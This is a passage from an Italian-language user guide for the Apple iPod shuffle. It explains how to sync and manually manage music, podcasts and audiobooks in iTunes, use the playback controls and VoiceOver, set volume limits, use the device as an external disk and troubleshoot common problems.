Aggiungere contenuto manualmente o automaticamente
Puoi configurare iTunes per aggiungere musica a iPod shuffle in due modi:
• Sincronizzazione automatica: quando colleghi iPod shuffle al computer, iPod shuffle viene
aggiornato automaticamente perché i brani e gli altri elementi in esso contenuti coincidano
con quelli della tua libreria di iTunes. Se Genius è attivato ed è la prima volta che sincronizzi
iPod shuffle, iTunes utilizza fino a quattro mix Genius creati dalla tua libreria di iTunes per riempire iPod shuffle. Se rimane dello spazio libero, iTunes sincronizza dei brani aggiuntivi dalla
libreria di iTunes. Se Genius non è attivato, iTunes sincronizza i brani e le playlist della tua libreria di iTunes per riempire iPod shuffle.
In seguito, puoi modificare le opzioni di sincronizzazione automatica per includere playlist,
artisti, album e generi selezionati. Puoi sincronizzare manualmente anche altri contenuti
audio, compresi podcast, audiolibri e raccolte di iTunes U. Per ulteriori informazioni, consulta il
paragrafo successivo.Capitolo 3 Configurazione di iPod shuffle 13
• Gestione manuale della musica: quando colleghi iPod shuffle, puoi trascinare singoli brani e
playlist sul dispositivo ed eliminare singoli brani e playlist da iPod shuffle. Questa opzione ti
consente di aggiungere brani da più computer, senza eliminarne nessuno da iPod shuffle.
Quando gestiscila musica manualmente, devi sempre espellere iPod shuffle da iTunes prima
di scollegarlo. Consulta Gestire iPod shuffle manualmente a pagina 15.
Sincronizzare automaticamente la musica
Di default, iPod shuffle è impostato per la sincronizzazione automatica di tutti i brani e le playlist quando lo colleghi al computer. È il modo più semplice di aggiungere contenuti audio a
iPod shuffle: colleghi semplicemente iPod shuffle al computer, lasci che su di esso vengano
aggiunti automaticamente brani, audiolibri, podcast audio e raccolte iTunes U, lo scolleghi ed
è pronto per l'uso. Se dall'ultima volta che hai collegato iPod shuffle sono stati aggiunti brani a
iTunes, i brani vengono sincronizzati con iPod shuffle a seconda dello spazio disponibile. Se hai
eliminato brani da iTunes, i brani vengono rimossi anche da iPod shuffle.
Per sincronizzare musica con iPod shuffle:
m È sufficiente collegare iPod shuffle al computer. Se iPod shuffle è impostato per la sincronizzazione automatica, l'aggiornamento si avvia immediatamente.
Importante: Se colleghi iPod shuffle a un computer con cui non è sincronizzato, visualizzi un
messaggio in cui ti viene chiesto se desideri sincronizzare i brani automaticamente. Se accetti,
tutti i brani e i contenuti audio vengono cancellati da iPod shuffle e sostituiti con quelli presenti
sul computer a cui è collegato il dispositivo. Se non accetti, puoi comunque aggiungere manualmente i brani a iPod shuffle senza cancellare quelli già presenti su iPod shuffle.
Durante la sincronizzazione della musica dal computer a iPod shuffle, la finestra di stato di iTunes
mostra il progredire dell'operazione e viene visualizzata un'icona di sincronizzazione accanto
a iPod shuffle nell'elenco dei dispositivi. Al termine dell'aggiornamento, in iTunes visualizzerai un
messaggio che ti informa che la sincronizzazione di iPod è terminata. Nella parte inferiore della
finestra di iTunes viene visualizzata una barra che ti mostra la quantità di spazio utilizzata per i
diversi tipi di contenuto.
Se durante la configurazione di iPod shuffle non hai scelto di sincronizzare automaticamente la
musica, puoi farlo in seguito.
Se iPod shuffle non dispone di spazio libero sufficiente per tutta la tua musica, puoi impostare
iTunes perché sincronizzi solo playlist, artisti, album e generi selezionati.
Per impostare iTunes per la sincronizzazione di playlist, artisti, album e generi selezionati
su iPod shuffle:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
3 Seleziona “Sincronizza musica”, quindi scegli “Playlist, artisti, album e generi selezionati”.
4 Seleziona le playlist, gli artisti, gli album e i generi che desideri.
5 Per impostare iTunes perché riempia automaticamente lo spazio rimanente su iPod shuffle,
seleziona “Riempi automaticamente con brani lo spazio libero”.
Se hai dei mix Genius, iTunes li utilizza per primi per riempire lo spazio. Se non c'è spazio per un
altro mix Genius, iTunes riempie lo spazio rimanente su iPod shuffle con altri brani.
6 Fai clic su Applica.
L'aggiornamento inizia automaticamente.
Se selezioni l'opzione “Sincronizza solo i brani contrassegnati” nel pannello Musica, iTunes sincronizza soltanto gli elementi selezionati.Capitolo 3 Configurazione di iPod shuffle 14
Sincronizzare mix Genius su iPod shuffle
Puoi impostare iTunes perché sincronizzi i mix Genius su iPod shuffle. I mix Genius possono
essere sincronizzati solo automaticamente, quindi non puoi aggiungerli a iPod shuffle se gestisci i
contenuti manualmente.
Se i mix Genius non riempiono lo spazio disponibile e selezioni l'opzione “Riempi automaticamente con brani lo spazio libero”, iTunes seleziona e sincronizza brani aggiuntivi dalla tua libreria
di iTunes.
Per impostare iTunes perché sincronizzi i mix Genius su iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
2 Seleziona “Sincronizza musica”, quindi scegli “Playlist, artisti, album e generi selezionati”.
3 Sotto Playlist, seleziona i mix Genius desiderati,
4 Fai clic su Applica.
Se hai selezionato l'opzione “Sincronizza solo i brani contrassegnati” nel pannello Riepilogo,
iTunes sincronizza soltanto gli elementi selezionati.
Sincronizzare i podcast automaticamente
Le impostazioni per aggiungere podcast a iPod shuffle non sono correlate alle impostazioni per
aggiungere brani. Le impostazioni dei podcast non influiscono sulle impostazioni dei brani e
viceversa. Puoi impostare iTunes per sincronizzare automaticamente tutti i podcast o i podcast
selezionati oppure puoi aggiungere manualmente podcast a iPod shuffle.
Per impostare iTunes in modo da aggiornare automaticamente i podcast su iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Podcast.
2 Nel pannello Podcast, seleziona “Sincronizza podcast”.
3 Seleziona le puntate dei podcast e le playlist desiderati, quindi imposta le opzioni
di sincronizzazione.
4 Fai clic su Applica.
Quando imposti iTunes per la sincronizzazione automatica dei podcast, iPod shuffle viene aggiornato ogni volta che lo colleghi al computer.
Se hai selezionato l'opzione “Sincronizza solo i brani contrassegnati” nel pannello Riepilogo,
iTunes sincronizza soltanto gli elementi selezionati.
Aggiungere raccolte iTunes U a iPod shuffle
iTunes U è una parte di iTunes Store dove sono a disposizione conferenze, lezioni di lingua,
audiolibri e altro ancora, che puoi scaricare gratuitamente e sincronizzare su iPod shuffle.
Le impostazioni per aggiungere raccolte iTunes U a iPod shuffle non sono correlate alle impostazioni per aggiungere altri contenuti e viceversa. Puoi impostare iTunes per sincronizzare automaticamente tutte le raccolte iTunes U oppure puoi aggiungerle manualmente a iPod shuffle.
Per impostare iTunes perché sincronizzi automaticamente i contenuti di iTunes U:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello iTunes U.
2 Nel pannello iTunes U, seleziona “Sincronizza iTunes U”.
3 Seleziona le raccolte e gli elementi desiderati, quindi imposta le opzioni di sincronizzazione.
4 Fai clic su Applica.Capitolo 3 Configurazione di iPod shuffle 15
Quando imposti iTunes per la sincronizzazione automatica dei podcast, iPod shuffle viene aggiornato ogni volta che lo colleghi al computer.
Se hai selezionato l'opzione “Sincronizza solo i brani contrassegnati” nel pannello Riepilogo,
iTunes sincronizza soltanto gli elementi selezionati.
Aggiungere audiolibri a iPod shuffle
Puoi acquistare e scaricare audiolibri da iTunes Store o da audible.com, oppure importarli da CD
e ascoltarli su iPod shuffle.
Utilizzare iTunes per aggiungere audiolibri a iPod shuffle Se sincronizzi iPod shuffle automaticamente, ogni audiolibro presente nella tua libreria di iTunes viene sincronizzato come una playlist
a parte, che puoi selezionare utilizzando VoiceOver. Se gestisci manualmente il contenuto di
iPod shuffle, puoi aggiungere un audiolibro alla volta.
Per sincronizzare audiolibri con iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Libri.
2 Seleziona “Sincronizza audiolibri”, quindi procedi in uno dei seguenti modi:
• Seleziona “Tutti gli audiolibri”.
• Seleziona “Audiolibri selezionati”, quindi specifica quelli desiderati.
3 Fai clic su Applica.
L'aggiornamento inizia automaticamente.
Gestire iPod shuffle manualmente
Puoi gestire iPod shuffle manualmente, puoi aggiungere o rimuovere singoli brani, playlist,
podcast e audiolibri. Puoi aggiungere musica e altro contenuto audio da più computer a
iPod shuffle senza cancellare i contenuti già presenti su iPod shuffle.
Se lo gestisci manualmente, su iPod shuffle puoi aggiungere le playlist Genius, ma non i
mix Genius.
Impostando iPod shuffle per la gestione manuale della musica, vengono disattivate le opzioni di
sincronizzazione automatica dei pannelli Musica, Podcast e iTunes U in iTunes. Non puoi gestire
manualmente alcuni contenute e sincronizzarne altri automaticamente allo stesso tempo.
Se imposti iTunes per la gestione manuale del contenuto, puoi reimpostarlo successivamente per
la sincronizzazione automatica.
Per gestire manualmente i contenuti audio di iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
2 Nella sezione Opzioni, seleziona “Gestisci manualmente la musica”.
3 Fai clic su Applica.
Quando gestisci iPod shuffle manualmente, devi sempre espellere iPod shuffle da iTunes prima
di scollegarlo.
Per aggiungere un brano o un altro elemento a iPod shuffle:
1 In iTunes, fai clic su Musica o su un altro elemento nell'elenco Libreria.
2 Trascina un brano o un altro elemento su iPod shuffle nell'elenco dei dispositivi.
Puoi trascinare anche intere playlist per sincronizzarle con iPod shuffle, oppure selezionare più
elementi e trascinarli tutti insieme su iPod shuffle.Capitolo 3 Configurazione di iPod shuffle 16
Per rimuovere un brano o un altro elemento da iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi.
2 Seleziona Musica, Audiolibri o Podcast sotto iPod shuffle.
3 Seleziona un brano o un altro elemento e premi il tasto Elimina o Cancella della tastiera.
Se rimuovi manualmente un brano o un altro elemento da iPod shuffle, non viene eliminato dalla
libreria di iTunes.
Per utilizzare iTunes per la creazione di una nuova playlist su iPod shuffle:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi, quindi fai clic sul pulsante Aggiungi (∂)
oppure scegli File > Nuova playlist.
2 Inserisci un nome per la playlist.
3 Fai clic su Musica o su un altro elemento nell'elenco Libreria, quindi trascina i brani o altri elementi nella playlist.
Se apporti modifiche a una delle playlist di iTunes, ricorda di trascinare la playlist modificata
su iPod shuffle quando è collegato a iTunes.
Per aggiungere brani o rimuoverli da una playlist su iPod shuffle:
m Trascina un brano su una playlist in iPod shuffle per aggiungere il brano. Seleziona un brano
di una playlist e premi il tasto Cancella sulla tastiera per eliminarlo.
Per impostare iTunes perché sincronizzi automaticamente la musica e altri contenuti audio:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
2 Deseleziona “Gestisci manualmente la musica”.
3 Fai clic su Applica.
L'aggiornamento inizia automaticamente.
Trasferire più brani su iPod shuffle
Se la libreria di iTunes contiene brani in un formato con una frequenza di bit superiore, come
iTunes Plus, Apple Lossless o WAV, puoi fare in modo che iTunes li converta automaticamente in
file AAC da 128 kbps durante la sincronizzazione con iPod shuffle. Questa operazione non influisce
sulla qualità o sulle dimensioni dei brani archiviati in iTunes.
Per convertire i brani con frequenze di bit superiori in formato AAC:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi.
3 Fai clic sulla linguetta Riepilogo.
4 Seleziona Converti i brani con bit rate più alto ad ACC a 128 kbps.
5 Fai clic su Applica.
Nota: I brani nei formati non supportati da iPod shuffle devonoessere convertiti se vuoi sincronizzarli con iPod shuffle. Per ulteriori informazioni sui formati supportati da iPod shuffle, consulta Se
non puoi sincronizzare un brano o un altro elemento su iPod shuffle a pagina 25.4
17
Leggi questo capitolo per informazioni su come ascoltare
iPod shuffle in giro.
Quando scolleghi iPod shuffle dal computer, puoi portarlo addosso utilizzando l'apposito clip e
ascoltare musica, audiolibri, podcast e contenuti di iTunes U. VoiceOver pronuncia il nome della
traccia (brano o capitolo di un audiolibro o podcast) in riproduzione, lo stato della batteria o ti
consente di scegliere un'altra playlist.
Riprodurre musica
Dopo aver effettuato la sincronizzazione di iPod shuffle con la musica e i file audio, puoi ascoltarli.
ATTENZIONE: Prima di utilizzare iPod shuffle, leggi tutte le istruzioni sulla sicurezza, con speciale
attenzione al paragrafo sui danni all'udito, in Capitolo 7, Sicurezza e pulizia, a pagina 28.
Per ascoltare i brani e gli altri elementi su iPod shuffle:
1 Inserisci gli auricolari in iPod shuffle e posizionali nelle orecchie come indicato.
2 Fai scorrere l'interruttore a tre posizioni di iPod shuffle dalla posizione OFF a quella della riproduzione in ordine (⁄) o riproduzione in ordine casuale (¡). La riproduzione inizia.
Per aumentare la durata della batteria quando non usi iPod shuffle, fai scorrere l'interruttore a tre
posizioni su OFF.
Per Esegui questa operazione
Riprodurre o mettere in pausa Premi Play/Pausa (’).
Ridurre o aumentare il volume Premi Volume su (∂) o Volume giù (D). Sentirai
un tono se cambi il volume mentre iPod shuffle è
in pausa.
Passare alla traccia successiva Premi Successivo/Avanza velocemente (‘).
Passare alla traccia precedente Premi Precedente/Riavvolgi (]) entro sei secondi
dall'inizio della traccia. Dopo 6 secondi, premendo
Precedente/Riavvolgi (]) la traccia attuale ricomincia.
Avanti velocemente Tieni premuto Successivo/Avanza velocemente (‘).
Riavvolgere Tieni premuto Precedente/Riavvolgi (]).
Sentire il nome dell'artista e il titolo della traccia Premi il tasto di VoiceOver ( ).
Ascoltare musicaCapitolo 4 Ascoltare musica 18
Per Esegui questa operazione
Sentire il menu delle playlist Tieni premuto il tasto di VoiceOver ( ). Quanto
senti il nome della playlist desiderata, premi il tasto
VoiceOver ( ) o Play/Pausa (’) per selezionarla.
Puoi premere Successivo/Avanza velocemente (‘) o
Precedente/Riavvolgi (]) per spostarti velocemente
attraverso le playlist.
Uscire dal menu delle playlist Tieni premuto il tasto di VoiceOver ( ).
L'indicatore luminoso di stato lampeggia una volta in verde in risposta a quasi tutte le azioni
(riprodurre, riavvolgere, mandare avanti velocemente, utilizzare VoiceOver, regolare il volume,
ecc.). Se metti in pausa iPod shuffle, l'indicatore luminoso di stato si accende in verde e rimane
fisso per 30 secondi. Se raggiungi il limite massimo o minimo del volume, l'indicatore luminoso si
accende tre volte in arancione. I comportamenti dell'indicatore luminoso rispetto allo stato della
batteria sono descritti in Controllare lo stato della batteria a pagina 8.
Impostare iPod shuffle per la riproduzione di brani in ordine o in ordine casuale
Puoi impostare iPod shuffle per riprodurre i brani in ordine casuale o riprodurli nell'ordine in cui
sono organizzati in iTunes. Quando attivi la riproduzione casuale, i libri, i podcast e i Mix Genius
non vengono inclusi: verranno riprodotti secondo l'ordine in cui appaiono in iTunes.
Per impostare iPod shuffle per la riproduzione di brani in ordine:
m Fai scorrere l'interruttore a tre posizioni per riprodurre in ordine (⁄).
Dopo la riproduzione dell'ultimo brano, iPod shuffle inizierà di nuovo la riproduzione del
primo brano.
Per impostare iPod shuffle per la riproduzione casuale:
m Fai scorrere l'interruttore sulla riproduzione casuale (¡).
Per riprodurre nuovamente i brani in ordine casuale, scorri l'interruttore a tre posizioni dalla riproduzione casuale (¡) alla riproduzione (⁄), quindi torna di nuovo alla riproduzione casuale.
Utilizzare VoiceOver
iPod shuffle può fornire un maggiore controllo sulle opzioni di riproduzione pronunciando i titoli
dei brani e i nomi degli artisti e pronunciando le playlist tra cui scegliere. VoiceOver fornisce
anche informazioni sullo stato della batteria e altri messaggi.
Per utilizzarlo, abilita VoiceOver da iTunes. Puoi abilitare VoiceOver al momento della prima
configurazione di iPod shuffle oppure in un secondo momento. VoiceOver è disponibile in
alcune lingue.
Per impostare le opzioni di VoiceOver, utilizza il pannello Riepilogo in iTunes. Le sezioni seguenti
descrivono come attivare e personalizzare VoiceOver.
Per abilitare VoiceOver quando configuri iPod shuffle:
1 Collega iPod shuffle al computer.
2 Segui le istruzioni su schermo in iTunes. Di default, VoiceOver è abilitato.
3 Fai clic su Continua.
4 Nella linguetta Riepilogo, sotto Voice Feedback, scegli la lingua desiderata nel menu a
comparsa Lingua.Capitolo 4 Ascoltare musica 19
Imposta la lingua per la pronuncia da utilizzare per i messaggi di sistema, i nomi delle playlist,
i titoli dei brani e i nomi degli artisti.
Nota: Per selezionare un'altra lingua per tracce specifiche, selezionale in iTunes, scegli File >
Ottieni informazioni, scegli una lingua di VoiceOver dal menu a comparsa del pannello Opzioni,
quindi fai clic su OK.
5 Fai clic su Applica.
Al termine della configurazione, VoiceOver è abilitato su iPod shuffle.
Per abilitare VoiceOver in qualsiasi momento:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
3 In “Feedback voce”, seleziona “Abilita VoiceOver”.
4 Fai clic su Applica.
5 Scegli la lingua desiderata nel menu a comparsa in Voice Feedback.
6 Fai clic su Applica.
Al termine della sincronizzazione, VoiceOver è abilitato.
Per disabilitare VoiceOver:
1 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
2 In “Feedback voce”, deseleziona “Abilita VoiceOver”.
3 Fai clic su Applica.
Al termine della sincronizzazione, VoiceOver è disabilitato. Sentirai ancora alcuni annunci di
sistema in inglese su iPod shuffle, come lo stato della batteria, i messaggi di errore e un menu
generico di playlist numerate. Non sentirai i titoli dei brani e i nomi degli artisti.
Sentire le informazioni di una traccia
VoiceOver pronuncia il titolo e il nome dell'artista del brano attuale mentre lo ascolti
su iPod shuffle.
Per sentire le informazioni della traccia attuale:
m Premi il tasto di VoiceOver ( ) durante la riproduzione.
Sentirai il nome dell'artista e il titolo della traccia attuale.
Puoi utilizzare VoiceOver per passare ad un altro titolo.
Per navigare utilizzando le informazioni di una traccia:
• se iPod shuffle è in riproduzione, premi il tasto VoiceOver ( ) per sentire le informazioni della
traccia attuale; premi Successivo/Avanza velocemente (‘) per passare alla traccia successiva e
sentire le relative informazioni; premi Precedente/Riavvolgi (]) per spostarti alla traccia precedente e sentire le relative informazioni.
• se iPod shuffle è in pausa, premi il tasto VoiceOver ( ) per sentire le informazioni della traccia
attuale; premi Successivo/Avanza velocemente (‘) per sentire le informazioni della traccia
successiva; premi Precedente/Riavvolgi (]) per sentire le informazioni della traccia precedente.
Premi il tasto VoiceOver o Play/Pausa (’) per riprodurre la traccia.Capitolo 4 Ascoltare musica 20
Modificare le playlist
Quando VoiceOver è abilitato, puoi sentire i nomi delle playlist e sceglierne una qualsiasi di
quelle che hai sincronizzato su iPod shuffle. Se sono sincronizzati audiolibri o podcast audio
su iPod shuffle, i loro titoli vengono letti come parte del menu delle playlist. Se VoiceOver è
disabilitato in iTunes, le playlist vengono identificate in ordine numerico (per esempio “Playlist 1,
Playlist 2”, ecc.), invece che per nome.
Il menu delle playlist annuncia ogni elemento in questo ordine:
• La playlist attuale (se disponibile).
• “Tutti i brani” (playlist di default di tutti i brani su iPod shuffle).
• Tutte le playlist, comprese le playlist Genius, in ordine alfabetico
• Tutti i mix Genius, in ordine alfabetico
• Tutti i podcast, in ordine alfabetico
• Tutte le raccolte iTunes U, in ordine alfabetico
• Tutti gli audiolibri, in ordine alfabetico
Per scegliere un elemento dal menu delle playlist:
1 Tieni premuto il tasto di VoiceOver ( ). Sentirai i nomi delle playlist.
2 Quanto senti il nome della playlist desiderata, premi il tasto VoiceOver ( ) o Play/Pausa (’) per
selezionarla. Viene riprodotto il primo elemento che appare nella playlist.
Quando stai ascoltando il menu delle playlist, puoi premere Successivo/Avanza velocemente (‘)
o Precedente/Riavvolgi (]) per spostarti avanti e indietro nel menu delle playlist
Per riavviare una playlist, segui i passi descritti sopra per selezionare la playlist desiderata.
Per uscire dal menu delle playlist:
m Tieni premuto il tasto di VoiceOver ( ).
Impostare le tracce per la riproduzione allo stesso livello di volume
Il volume dei brani e di altri elementi audio può variare in base alle modalità di registrazione o
alla codifica. Puoi impostare iTunes in modo da regolare automaticamente il volume dei brani
per riprodurli allo stesso livello di volume relativo e puoi impostare iPod shuffle perché utilizzi
l'impostazione di volume di iTunes. La verifica del suono è attivata di default in iTunes, ma non
in iPod shuffle.
Per impostare iTunes per la riproduzione dei brani allo stesso volume:
1 In iTunes, scegli iTunes > Preferenze (su un computer Mac) oppure Modifica > Preferenze (su un
PC Windows).
2 Fai clic su Riproduci e scegli "Livelli volume".
Per configurare iPod shuffle in modo che utilizzi l'impostazione del volume di iTunes:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi.
3 Fai clic sulla linguetta Riepilogo.
4 Nella sezione Opzioni, seleziona “Abilita Verifica volumi”.
5 Fai clic su Applica.
Se non hai attivato l’opzione di verifica del volume in iTunes, configurandola su iPod shuffle non
sortirai alcun effetto.Capitolo 4 Ascoltare musica 21
Impostare un limite di volume
Puoi impostare un limite del volume per iPod shuffle. Inoltre puoi impostare una password in
iTunes per evitare la modifica di questa impostazione da parte di persone senza autorizzate.
Se hai impostato un limite di volume su iPod shuffle, l'indicatore luminoso di stato lampeggia tre
volte in arancione se tenti di aumentare il volume oltre il limite massimo.
Per impostare il limite massimo di volume per iPod shuffle:
1 Imposta iPod shuffle al volume massimo desiderato.
2 Collega iPod shuffle al computer.
3 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
4 Nella sezione Opzioni, seleziona “Limita il volume massimo”.
5 Trascina il cursore sul volume massimo desiderato.
L'impostazione iniziale del cursore mostra il volume a cui iPod shuffle era impostato quando lo
hai collegato al computer.
ATTENZIONE: Il livello di volume potrebbe anche variare a seconda del tipo di auricolari o di
cuffie che usi.
Per eliminare il limite massimo di volume:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
3 Nella sezione Opzioni, deseleziona “Limita il volume massimo”.
Bloccare e sbloccare i pulsanti di iPod shuffle
Puoi bloccare i pulsanti di iPod shuffle per evitare che si attivino se li premi accidentalmente.
Questa funzionalità richiede il software 1.0.1 o versione successiva (collega iPod shuffle a iTunes
per aggiornare il software).
Per bloccare i pulsanti di iPod shuffle:
m Tieni premuto Play/Pausa (’) per tre secondi.
Quando i pulsanti vengono bloccati, l'indicatore luminoso di stato lampeggia in arancione per
tre volte. Se premi un pulsante quando i pulsanti sono bloccati, l'indicatore luminoso di stato
lampeggia in arancione una volta.
Per sbloccare i pulsanti:
m Tieni premuto di nuovo Play/Pausa (’) per tre secondi.
Quando i pulsanti vengono sbloccati, l'indicatore luminoso di stato lampeggia in arancione per
tre volte.
Se indossi gli auricolari, udirai un tono quando i pulsanti vengono bloccati o sbloccati.5
22
Puoi utilizzare iPod shuffle per caricarvi anche i tuoi dati oltre
alla musica.
Leggi questo capitolo per informazioni sulla modalità di utilizzo di iPod shuffle come un disco
rigido esterno.
Utilizzare iPod shuffle come disco esterno
Puoi utilizzare iPod shuffle come disco esterno per archiviare file di dati.
Per sincronizzare iPod shuffle con musica e altro audio da ascoltare, devi utilizzare iTunes.
Non puoi riprodurre file audio che copi su iPod shuffle utilizzando il Finder di Macintosh o
Esplora risorse di Windows.
Per abilitare l'utilizzo di iPod shuffle come disco esterno:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
3 Nella sezione Opzioni, seleziona Abilita utilizzo come disco
per vedere le impostazioni del disco potresti dover scorrere verso il basso.
4 Fai clic su Applica.
Quando usi iPod shuffle come disco esterno, l'icona del disco di iPod shuffle appare sulla scrivania di un computer Mac oppure come la successiva lettera di disco disponibile in "Esplora risorse"
di un PC Windows.
Quando iPod shuffle è abilitato come disco rigido e lo colleghi al computer, l'indicatore luminoso
di stato si accende in arancione fisso. Prima di scollegare iPod shuffle dal computer, accertati di
espellerlo in iTunes.
Copiare file tra computer
Quando abiliti l'utilizzo come disco su iPod shuffle, puoi copiare file da un computer all'altro.
iPod shuffle è formattato come volume FAT-32, supportato sia dai computer Mac che PC. Questo
ti consente di utilizzare iPod shuffle per copiare file tra computer con sistemi operativi diversi.
Per copiare i file tra computer:
1 Dopo avere abilitato l'uso di iPod shuffle come disco, collegalo al computer da cui desideri
copiare i file.
Importante: Se iPod shuffle è impostato per la sincronizzazione automatica, quando lo colleghi
a un computer o a un account utente diverso, viene visualizzato un messaggio in cui ti viene
chiesto se desideri inizializzare iPod shuffle e sincronizzarlo con la nuova libreria di iTunes. Se non
desideri inizializzare il contenuto di iPod shuffle, fai clic su Annulla.
Archiviare file su iPod shuffleCapitolo 5 Archiviare file su iPod shuffle 23
2 Utilizzando il file di sistema del computer (il Finder su un Mac, Esplora risorse su un PC), trascina i
file desiderati su iPod shuffle.
3 Scollega iPod shuffle quindi collegalo all'altro computer.
Di nuovo, fai clic su Annulla se non desideri inizializzare il contenuto di iPod shuffle.
4 Trascina i file da iPod shuffle nella posizione desiderata sull'altro computer.
Evitare che iTunes si apra automaticamente
Puoi impedire l'avvio automatico di iTunes al momento della connessione di iPod shuffle
al computer.
Per evitare l'avvio automatico di iTunes:
1 Collega iPod shuffle al computer.
2 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
3 Nella sezione Opzioni, deseleziona Apri iTunes quando questo iPod è collegato.
4 Fai clic su Applica.6
24
La maggior parte dei problemi con iPod shuffle può essere risolta
rapidamente seguendo i consigli contenuti in questo capitolo.
Le 5 R: Reimposta, riprova, riavvia, reinstalla, ripristina
Tieni in mente questi cinque suggerimenti di base se riscontri dei problemi con iPod shuffle.
Cerca di eseguire questi passi uno per volta finché il problema non è stato risolto. Se ciò non
dovesse bastare, leggi più avanti per trovare una soluzione ai problemi specifici.
• Reimposta iPod shuffle spegnendolo e attendendo 10 secondi prima di riaccenderlo.
• Riprova con una porta USB 2.0 diversa se iTunes non riconosce iPod shuffle.
• Riavvia il computer e assicurati di aver installato gli ultimi aggiornamenti software disponibili.
• Reinstalla le versioni più recenti dei software iPod e iTunes disponibili sul web.
• Ripristina iPod shuffle. Consulta Aggiornare e ripristinare il software di iPod shuffle a
pagina 26.
Se l'indicatore luminoso di stato è rosso fisso o se senti il messaggio di errore “Utilizza iTunes
per ripristinare”
Collega iPod shuffle al computer e ripristinalo in iTunes. Consulta Aggiornare e ripristinare il software di iPod shuffle a pagina 26.
Se iPod shuffle non si accende o non risponde ai comandi
• Collega iPod shuffle a una porta USB 2.0 ad alta potenza sul computer. Potrebbe essere necessario ricaricare la batteria di iPod shuffle.
• Spegni iPod shuffle, attendi 10 secondi, quindi riaccendilo.
• Potresti dover ripristinare il software di iPod shuffle. Consulta Aggiornare e ripristinare il software di iPod shuffle a pagina 26.
Se iPod shuffle non riproduce musica
• iPod shuffle potrebbe non contenere brani musicali. Se senti il messaggio “Utilizzare iTunes per
sincronizzare la musica”, collega iPod shuffle al computer per sincronizzare la musica.
• Spegni l'interruttore a tre vie e riprova.
• Verifica che il connettore delle cuffie auricolari sia completamente inserito.
• Assicurati che il volume sia impostato in modo appropriato. Occorre impostare un limite di
volume. Consulta Impostare un limite di volume a pagina 21.
• iPod shuffle potrebbe essere in pausa. Prova a premere Play/Pausa (’).
Se colleghi iPod shuffle al computer e non succede nulla
• Collega iPod shuffle a una porta USB 2.0 ad alta potenza sul computer. Potrebbe essere necessario ricaricare la batteria di iPod shuffle.
Suggerimenti e risoluzione dei
problemiCapitolo 6 Suggerimenti e risoluzione dei problemi 25
• Assicurati di avere installato la versione più recente del software di iTunes da
www.itunes.com/it/download.
• Prova a collegare il cavo USB a una porta USB 2.0 diversa sul computer. Accertati che il cavo
USB sia collegato saldamente a iPod shuffle e al computer. Assicurati che il connettore sia orientato correttamente. È possibile inserirlo in un solo modo.
• Potresti dover reimpostare iPod shuffle. Spegni iPod shuffle, attendi 10 secondi,
quindi riaccendilo.
• Se iPod shuffle non viene visualizzato in iTunes o nel Finder, la batteria potrebbe essere completamente scarica. Lascia iPod shuffle in carica per alcuni minuti per vedere se si riattiva.
• Assicurati di avere computer e software richiesti. Consulta Se desideri verificare i requisiti di
sistema a pagina 26.
• Prova a riavviare il computer.
• Potrebbe essere necessario ripristinare il software iPod. Consulta Aggiornare e ripristinare il software di iPod shuffle a pagina 26.
• Potresti dover riparare iPod shuffle. Puoi prenotare il servizio di riparazione sul sito web di assistenza per iPod shuffle all'indirizzo www.apple.com/it/support/ipodshuffle/service.
Se non puoi sincronizzare un brano o un altro elemento su iPod shuffle
Può darsi che il brano sia codificato in un formato non supportato da iPod shuffle. iPod shuffle
supporta i seguenti formati audio. Compresi i formati per audiolibri e podcast:
• AAC (M4A, M4B, M4P) (da 8 a 320 kbps)
• AAC protetto (da iTunes Store)
• Apple Lossless (un formato compresso di elevata qualità)
• MP3 (da 8 a 320 kbps)
• MP3 VBR (Variable Bit Rate)
• Audible (formati 2, 3, 4, Audible Enhanced Audio, AAX e AAX+)
• WAV
• AA (audible.com parlato, formati 2, 3 e 4)
• AIFF
Un brano codificato nel formato Apple Lossless offre una qualità audio quasi equivalente a quella
di un CD, ma occupa solo la metà dello spazio di un brano codificato in formato AIFF o WAV.
Lo stesso brano codificato nel formato AAC o MP3 occupa uno spazio ancora inferiore. La musica
che importi da un CD utilizzando iTunes, viene convertita di default nel formato AAC.
Puoi fare in modo che iPod shuffle converta automaticamente i file codificati con una frequenza
bit superiore in file AAC a 128 kbps nel momento in cui vengono sincronizzati con iPod shuffle.
Consulta Trasferire più brani su iPod shuffle a pagina 16.
Utilizzando iTunes per Windows, puoi convertire file WMA non protetti in formato AAC o MP3.
Può esserti utile se disponi di una raccolta di musica codificata in formato WMA.
iPod shuffle non supporta i file audio WMA, MPEG Layer 1, MPEG Layer 2 o audible.com formato 1.
Se un brano di iTunes non è supportato da iPod shuffle, puoi convertirlo in un formato supportato da iPod shuffle. Per ulteriori informazioni, apri iTunes e scegli Aiuto > Aiuto iTunes.Capitolo 6 Suggerimenti e risoluzione dei problemi 26
Se desideri verificare i requisiti di sistema
